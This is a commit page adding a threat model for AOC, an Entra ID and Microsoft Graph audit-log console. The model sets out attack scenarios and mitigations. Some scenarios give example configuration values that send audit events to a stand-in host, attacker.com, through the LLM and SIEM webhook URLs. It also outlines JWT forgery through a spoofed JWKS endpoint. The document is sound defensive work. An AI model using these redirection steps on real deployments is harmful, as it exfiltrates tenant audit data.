v1.7.14: LLM/SIEM domain allowlists, SRI hashes, auth misconfig warning, Azure Key Vault integration
This commit is contained in:
321
THREAT_MODEL_v1.7.13.md
Normal file
321
THREAT_MODEL_v1.7.13.md
Normal file
@@ -0,0 +1,321 @@
|
||||
# AOC Threat Model — v1.7.13
|
||||
|
||||
**Date:** 2026-04-27
|
||||
**Scope:** Entra ID / Microsoft Graph integration, token handling, data flows, external dependencies
|
||||
**Assumptions:** Deployment is Docker Compose behind nginx reverse proxy; `AUTH_ENABLED=true`; `AI_FEATURES_ENABLED` may be true or false.
|
||||
|
||||
---
|
||||
|
||||
## Attack Surface Map
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────────────────────────────────────────────┐
|
||||
│ ATTACKER │
|
||||
│ │ │ │ │
|
||||
│ ▼ ▼ ▼ │
|
||||
│ ┌─────────────┐ ┌──────────────┐ ┌─────────────────┐ │
|
||||
│ │ Frontend │ │ API │ │ Webhook │ │
|
||||
│ │ (CDN JS) │ │ (/api/*) │ │ (/api/webhooks)│ │
|
||||
│ └──────┬──────┘ └──────┬───────┘ └────────┬────────┘ │
|
||||
│ │ │ │ │
|
||||
│ ▼ ▼ ▼ │
|
||||
│ ┌─────────────────────────────────────────────────────────────┐ │
|
||||
│ │ AOC BACKEND │ │
|
||||
│ │ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ │ │
|
||||
│ │ │ Auth │ │ Events │ │ Fetch │ │ Ask/LLM │ │ │
|
||||
│ │ │ (JWT) │ │ (Mongo) │ │ (Graph) │ │ (HTTP) │ │ │
|
||||
│ │ └────┬─────┘ └────┬─────┘ └────┬─────┘ └────┬─────┘ │ │
|
||||
│ │ │ │ │ │ │ │
|
||||
│ │ ▼ ▼ ▼ ▼ │ │
|
||||
│ │ ┌─────────────────────────────────────────────────────┐ │ │
|
||||
│ │ │ SECRETS / CREDENTIALS │ │ │
|
||||
│ │ │ CLIENT_SECRET │ LLM_API_KEY │ MONGO_PASSWORD │ │ │
|
||||
│ │ └─────────────────────────────────────────────────────┘ │ │
|
||||
│ └─────────────────────────────────────────────────────────────┘ │
|
||||
│ │ │ │ │
|
||||
│ ▼ ▼ ▼ │
|
||||
│ ┌─────────────┐ ┌──────────────┐ ┌─────────────────┐ │
|
||||
│ │ Microsoft │ │ LLM API │ │ SIEM Webhook │ │
|
||||
│ │ Graph API │ │ (OpenAI/ │ │ (optional) │ │
|
||||
│ │ │ │ Azure) │ │ │ │
|
||||
│ └─────────────┘ └──────────────┘ └─────────────────┘ │
|
||||
└─────────────────────────────────────────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 1. Entra App Registration Abuse — HIGH
|
||||
|
||||
### 1.1 Client Credentials Leak = Full Tenant Read
|
||||
|
||||
**How it works:**
|
||||
- AOC uses `client_credentials` flow (`graph/auth.py`)
|
||||
- `CLIENT_ID` + `CLIENT_SECRET` are exchanged for an access token at `login.microsoftonline.com`
|
||||
- The token has `https://graph.microsoft.com/.default` scope
|
||||
- This grants **all application permissions** configured in the Entra app registration
|
||||
|
||||
**Typical permissions:**
|
||||
- `Directory.Read.All` — read all users, groups, devices, roles
|
||||
- `AuditLog.Read.All` — read all audit logs
|
||||
- `DeviceManagementManagedDevices.Read.All` — read all Intune devices
|
||||
|
||||
**Attack scenario:**
|
||||
1. Attacker gains read access to `.env` or the Docker container filesystem
|
||||
2. Attacker calls the token endpoint directly with the leaked `CLIENT_ID`/`CLIENT_SECRET`
|
||||
3. Attacker receives a Graph API access token valid for ~1 hour
|
||||
4. Attacker can query ALL tenant data independently of AOC
|
||||
|
||||
**Impact:** Complete tenant data exfiltration — users, groups, devices, audit logs, mailboxes (if `Exchange.Read` granted).
|
||||
|
||||
**Mitigation in place:** None. The backend needs these permissions to function.
|
||||
|
||||
**Recommendation:**
|
||||
- Store `CLIENT_SECRET` in a secret manager (Azure Key Vault, HashiCorp Vault) rather than `.env`
|
||||
- Use short-lived certificates instead of long-lived secrets for app authentication
|
||||
- Monitor Entra sign-in logs for anomalous `client_credentials` token requests
|
||||
- Restrict app registration permissions to the absolute minimum (e.g., `AuditLog.Read.All` + `Directory.Read.All` only)
|
||||
|
||||
---
|
||||
|
||||
### 1.2 No Scope Restriction on Graph Token
|
||||
|
||||
**Finding:** `get_access_token()` always requests `https://graph.microsoft.com/.default` — the full permission set. There's no mechanism to request narrower scopes for specific operations.
|
||||
|
||||
**Impact:** If the app registration has 10 permissions, every token has all 10. A bug in one code path could expose data from all 10 permission areas.
|
||||
|
||||
**Recommendation:** Not easily fixable without splitting into multiple app registrations. Document as accepted risk.
|
||||
|
||||
---
|
||||
|
||||
## 2. Authentication & Token Validation — MEDIUM
|
||||
|
||||
### 2.1 JWKS Fetch Without TLS Certificate Validation Hardening
|
||||
|
||||
**Finding:** `_get_jwks()` fetches OIDC configuration and JWKS from `login.microsoftonline.com` using standard `requests` TLS validation. No certificate pinning or CA bundle restriction.
|
||||
|
||||
**Attack scenario (advanced):**
|
||||
1. Attacker compromises DNS or a network hop between AOC and Microsoft
|
||||
2. Attacker serves a fake JWKS endpoint with their own public key
|
||||
3. Attacker issues a forged JWT signed with their private key
|
||||
4. AOC validates the forged JWT against the attacker's public key
|
||||
5. Attacker gains authenticated access
|
||||
|
||||
**Likelihood:** Very low (requires DNS compromise or nation-state-level interception).
|
||||
|
||||
**Mitigation:** Standard TLS validation is in place. For high-security environments, consider pinning the `login.microsoftonline.com` certificate thumbprint.
|
||||
|
||||
---
|
||||
|
||||
### 2.2 Missing `nbf` / `iat` Claim Verification
|
||||
|
||||
**Finding:** `_decode_token()` verifies `exp`, `tid`, `iss`, and `aud` but does not check `nbf` (not before) or `iat` (issued at) claims.
|
||||
|
||||
**Impact:** A token used before its validity period (`nbf`) or with a suspicious future `iat` would be accepted. Minor issue — MSAL tokens are well-formed in practice.
|
||||
|
||||
---
|
||||
|
||||
### 2.3 Role/Group Gating Defaults to "Allow All"
|
||||
|
||||
**Finding:** In `auth.py`:
|
||||
```python
|
||||
def _allowed(claims, allowed_roles, allowed_groups):
|
||||
if not allowed_roles and not allowed_groups:
|
||||
return True
|
||||
```
|
||||
|
||||
**Impact:** If `AUTH_ENABLED=true` but `AUTH_ALLOWED_ROLES` and `AUTH_ALLOWED_GROUPS` are left empty (the default), **every Entra user in the tenant** can authenticate and use AOC. This is a common misconfiguration.
|
||||
|
||||
**Recommendation:** Add a startup warning when auth is enabled but no roles/groups are configured. Consider changing the default to deny-all.
|
||||
|
||||
---
|
||||
|
||||
### 2.4 Privacy Service Role Gating Also Defaults to "Allow All"
|
||||
|
||||
**Finding:** `user_can_access_privacy_services()` returns `True` if `PRIVACY_SERVICE_ROLES` is empty. If an admin configures `PRIVACY_SERVICES` (e.g., `Exchange`) but forgets to set `PRIVACY_SERVICE_ROLES`, all users see all privacy data.
|
||||
|
||||
---
|
||||
|
||||
## 3. Data Exfiltration Paths — HIGH
|
||||
|
||||
### 3.1 LLM Endpoint as Data Exfiltration Channel
|
||||
|
||||
**Finding:** When `AI_FEATURES_ENABLED=true` and `LLM_API_KEY` is set:
|
||||
- The `/api/ask` endpoint sends audit event data (actors, targets, operations, summaries) to the configured LLM API
|
||||
- `_validate_llm_url()` blocks private IPs but does NOT restrict the domain to an allowlist
|
||||
- Any HTTPS URL is accepted
|
||||
|
||||
**Attack scenario:**
|
||||
1. Attacker gains `.env` write access (or container filesystem access)
|
||||
2. Attacker changes `LLM_BASE_URL` to `https://attacker.com/fake-llm`
|
||||
3. Attacker sends an `/api/ask` request like "show me all events"
|
||||
4. AOC queries MongoDB and sends up to `LLM_MAX_EVENTS` (default 200) events to the attacker's URL
|
||||
5. Attacker receives structured audit data including actor names, UPNs, device names, operation details
|
||||
|
||||
**Impact:** Up to 200 audit events exfiltrated per API call. With pagination, an attacker could exfiltrate the entire database.
|
||||
|
||||
**Mitigation in place:** SSRF guard blocks private IPs and localhost.
|
||||
|
||||
**Gap:** No domain allowlist. An attacker-controlled public HTTPS endpoint is accepted.
|
||||
|
||||
**Recommendation:**
|
||||
- Add `LLM_ALLOWED_DOMAINS` config (e.g., `api.openai.com,*.openai.azure.com`)
|
||||
- Validate `LLM_BASE_URL` against this allowlist at startup and on every request
|
||||
- Log all LLM requests with event counts sent
|
||||
|
||||
---
|
||||
|
||||
### 3.2 SIEM Webhook as Real-Time Exfiltration Channel
|
||||
|
||||
**Finding:** `siem.py` forwards every normalized event to `SIEM_WEBHOOK_URL` during ingestion:
|
||||
```python
|
||||
def forward_event(event):
|
||||
if not SIEM_ENABLED or not SIEM_WEBHOOK_URL:
|
||||
return
|
||||
requests.post(SIEM_WEBHOOK_URL, json=event, timeout=10)
|
||||
```
|
||||
|
||||
**Gap:** No URL validation at all. Unlike the LLM endpoint, the SIEM webhook has NO SSRF guard.
|
||||
|
||||
**Attack scenario:**
|
||||
1. Attacker sets `SIEM_ENABLED=true` and `SIEM_WEBHOOK_URL=https://attacker.com/collect`
|
||||
2. Every new audit event fetched from Graph is immediately POSTed to the attacker's URL
|
||||
3. Attacker receives real-time stream of all tenant audit events
|
||||
|
||||
**Impact:** Real-time, continuous data exfiltration of all audit events.
|
||||
|
||||
**Recommendation:**
|
||||
- Add the same SSRF validation to `SIEM_WEBHOOK_URL` that exists for `LLM_BASE_URL`
|
||||
- Add `SIEM_ALLOWED_DOMAINS` config
|
||||
- Log SIEM forwarding failures prominently
|
||||
|
||||
---
|
||||
|
||||
### 3.3 Export Features (JSON/CSV)
|
||||
|
||||
**Finding:** The frontend has `exportJSON()` and `exportCSV()` functions that download all currently filtered events. These are authenticated but not rate-limited separately from `/api/events`.
|
||||
|
||||
**Impact:** A compromised account can export large batches of events. However, this requires authentication and is bounded by the 500-event page size limit.
|
||||
|
||||
**Risk level:** LOW — requires valid auth and is noisy.
|
||||
|
||||
---
|
||||
|
||||
## 4. Webhook Abuse — MEDIUM
|
||||
|
||||
### 4.1 Graph Change Notification Webhook
|
||||
|
||||
**Finding:** `/api/webhooks/graph` receives Microsoft Graph change notifications:
|
||||
- Echoes `validationToken` for subscription handshake
|
||||
- Accepts notifications with optional `clientState` validation
|
||||
- `WEBHOOK_CLIENT_SECRET` is empty by default
|
||||
|
||||
**Attack scenario 1 — Subscription hijacking:**
|
||||
1. Attacker discovers the webhook URL (via API enumeration or guess)
|
||||
2. Attacker creates a Graph subscription pointing to the AOC webhook URL
|
||||
3. Attacker receives change notifications for the subscribed resource
|
||||
|
||||
**Mitigation:** Notifications without matching `clientState` are rejected when `WEBHOOK_CLIENT_SECRET` is configured. But it's empty by default.
|
||||
|
||||
**Attack scenario 2 — Validation token abuse:**
|
||||
1. Attacker sends a POST to `/api/webhooks/graph?validationToken=<arbitrary content>`
|
||||
2. AOC echoes the token back as `text/plain`
|
||||
3. Could be used for cache poisoning or response splitting
|
||||
|
||||
**Mitigation:** Length and ASCII validation added in v1.7.12.
|
||||
|
||||
**Recommendation:**
|
||||
- Require `WEBHOOK_CLIENT_SECRET` to be set in production
|
||||
- Document that the webhook endpoint should NOT be exposed to the public internet
|
||||
|
||||
---
|
||||
|
||||
## 5. Supply Chain — MEDIUM
|
||||
|
||||
### 5.1 CDN Scripts Without Subresource Integrity (SRI)
|
||||
|
||||
**Finding:** The frontend loads two external scripts without SRI hashes:
|
||||
```html
|
||||
<script defer src="https://cdn.jsdelivr.net/npm/alpinejs@3.x.x/dist/cdn.min.js"></script>
|
||||
<script src="https://alcdn.msauth.net/browser/2.37.0/js/msal-browser.min.js" crossorigin="anonymous"></script>
|
||||
```
|
||||
|
||||
**Attack scenario:**
|
||||
1. `cdn.jsdelivr.net` or `alcdn.msauth.net` is compromised (supply chain attack)
|
||||
2. Malicious JavaScript is served instead of the legitimate library
|
||||
3. Malicious script can steal MSAL tokens, modify API requests, or exfiltrate data
|
||||
|
||||
**Impact:** Complete frontend compromise — token theft, data exfiltration, UI spoofing.
|
||||
|
||||
**Recommendation:**
|
||||
- Add SRI hashes to both script tags:
|
||||
```html
|
||||
<script defer src="..." integrity="sha384-..." crossorigin="anonymous"></script>
|
||||
```
|
||||
- Or vendor the JS files and serve them from the same origin
|
||||
|
||||
---
|
||||
|
||||
## 6. Privilege Escalation — MEDIUM
|
||||
|
||||
### 6.1 Application Permissions Bypass User Boundaries
|
||||
|
||||
**Finding:** Because AOC uses application permissions (not delegated permissions), the backend can read audit logs for ALL users, not just the authenticated user. The privacy service filtering (`PRIVACY_SERVICES`) is the only boundary — and it's opt-in.
|
||||
|
||||
**Impact:** A user with minimal Entra permissions (e.g., a regular user who can authenticate) can view audit logs for the entire tenant if:
|
||||
- `PRIVACY_SERVICES` is not configured, OR
|
||||
- `PRIVACY_SERVICE_ROLES` is not configured
|
||||
|
||||
**Recommendation:**
|
||||
- Document that AOC should be restricted to admin/security roles via `AUTH_ALLOWED_ROLES`
|
||||
- Consider adding per-user event filtering (only show events where the authenticated user is the actor or target)
|
||||
|
||||
---
|
||||
|
||||
## 7. Miscellaneous Vectors — LOW
|
||||
|
||||
### 7.1 Token Cache in Memory
|
||||
|
||||
**Finding:** `_TOKEN_CACHE` in `graph/auth.py` is an in-memory dictionary. If an attacker gains code execution in the Python process, they can read the cache or call `get_access_token()` directly.
|
||||
|
||||
**Impact:** Attacker with code execution can get Graph API tokens. But if they have code execution, they already have `CLIENT_SECRET` from memory or `.env`.
|
||||
|
||||
### 7.2 MongoDB Connection String
|
||||
|
||||
**Finding:** `MONGO_URI` contains credentials. If an attacker gains filesystem access, they can connect directly to MongoDB and bypass all AOC auth/privacy controls.
|
||||
|
||||
**Mitigation:** MongoDB is internal to Docker network (not exposed to host in production compose file).
|
||||
|
||||
### 7.3 Audit Trail Log Injection
|
||||
|
||||
**Finding:** `audit_trail.log_action()` stores actions in MongoDB. The `details` dict could contain user-controlled data (e.g., filter values). If the audit log is ever rendered without escaping, this could lead to XSS.
|
||||
|
||||
**Risk level:** LOW — audit logs are not currently rendered in the UI.
|
||||
|
||||
---
|
||||
|
||||
## Risk Summary
|
||||
|
||||
| Vector | Severity | Likelihood | Requires |
|
||||
|--------|----------|------------|----------|
|
||||
| Client secret leak → full tenant read | **HIGH** | Medium | `.env` or container access |
|
||||
| LLM endpoint hijacking → data exfil | **HIGH** | Low | `.env` write access |
|
||||
| SIEM webhook hijacking → real-time exfil | **HIGH** | Low | `.env` write access |
|
||||
| CDN compromise → frontend token theft | **MEDIUM** | Low | Supply chain attack |
|
||||
| Role gating misconfig → all users access | **MEDIUM** | High | Misconfiguration |
|
||||
| Webhook subscription hijacking | **MEDIUM** | Low | URL discovery |
|
||||
| DNS compromise → fake JWKS | **MEDIUM** | Very low | Network compromise |
|
||||
| Application permissions bypass boundaries | **MEDIUM** | High | Default config |
|
||||
| Token replay | LOW | Low | Token theft |
|
||||
| Audit log injection | LOW | Low | Filter manipulation |
|
||||
|
||||
---
|
||||
|
||||
## Immediate Recommendations
|
||||
|
||||
1. **Add LLM domain allowlist** (`LLM_ALLOWED_DOMAINS`) and validate at startup
|
||||
2. **Add SIEM SSRF guard** — reuse `_validate_llm_url()` for `SIEM_WEBHOOK_URL`
|
||||
3. **Add SRI hashes** to CDN script tags, or vendor the libraries
|
||||
4. **Add startup warning** when auth is enabled but no `AUTH_ALLOWED_ROLES`/`AUTH_ALLOWED_GROUPS` configured
|
||||
5. **Document webhook security** — require `WEBHOOK_CLIENT_SECRET` in production
|
||||
6. **Consider Key Vault integration** for `CLIENT_SECRET` and `LLM_API_KEY`
|
||||
7. **Add per-user filtering option** — restrict events to those involving the authenticated user
|
||||
Reference in New Issue
Block a user